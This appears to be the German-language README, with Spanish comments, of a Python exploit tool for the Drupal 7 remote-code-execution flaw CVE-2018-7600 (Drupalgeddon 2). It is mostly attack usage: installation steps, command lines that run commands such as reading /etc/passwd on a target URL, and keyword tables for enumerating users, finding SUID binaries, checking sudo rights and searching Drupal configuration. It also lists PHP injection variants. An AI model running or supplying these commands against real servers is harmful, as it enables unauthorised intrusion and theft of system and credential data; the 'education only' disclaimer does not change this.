
Python-Exploit für CVE-2018-7600 (Drupalgeddon 2), der Remote-Code-Ausführung auf Drupal 7 mit mehreren Injektionsmethoden und vordefinierten Befehlen für Linux und Windows ermöglicht.
bixi.pybixi.py ist ein Exploit für die Schwachstelle CVE‑2018‑7600 (Drupalgeddon 2), die Drupal 7 betrifft.
Ermöglicht die Remote-Befehlsausführung (RCE) auf verwundbaren Drupal-Servern über eine intuitive Benutzeroberfläche und vordefinierte Befehle.
DIESE SOFTWARE IST NUR FÜR BILDUNGS- UND FORSCHUNGSZWECKE IN KONTROLLIERTEN UMGEBUNGEN.
"With great power comes great responsibility"
system, passthru, exec, shell_exec)git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Otras distribuciones
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]
# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test
# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| Befehl | Beschreibung |
|---|---|
| linux | Systeminformationen |
| users_linux | Benutzer auflisten |
| id | Benutzer-/Gruppeninfo |
| ls | Dateien auflisten |
| ifconfig | Netzwerkinformationen |
| find_flag | Flags suchen |
| Befehl | Beschreibung |
|---|---|
| windows | Systeminformationen |
| net_user | Benutzer auflisten |
| whoami_win | Detaillierte Informationen |
| ipconfig | Netzwerk |
| netstat_win | Verbindungen |
| dir | Verzeichnis auflisten |
| Befehl | Beschreibung |
|---|---|
| sudo | Sudo-Berechtigungen prüfen |
| suid | SUID-Binärdateien suchen |
| net_localgroup | Lokale Gruppen |
| drupal_config | Konfigurationen suchen |
| drupal_version | Drupal-Version abrufen |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
Standardwert ändern (15 Sekunden):
timeout=15
Das Dictionary commands in get_command_for_keyword() bearbeiten
pip3 install requests
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/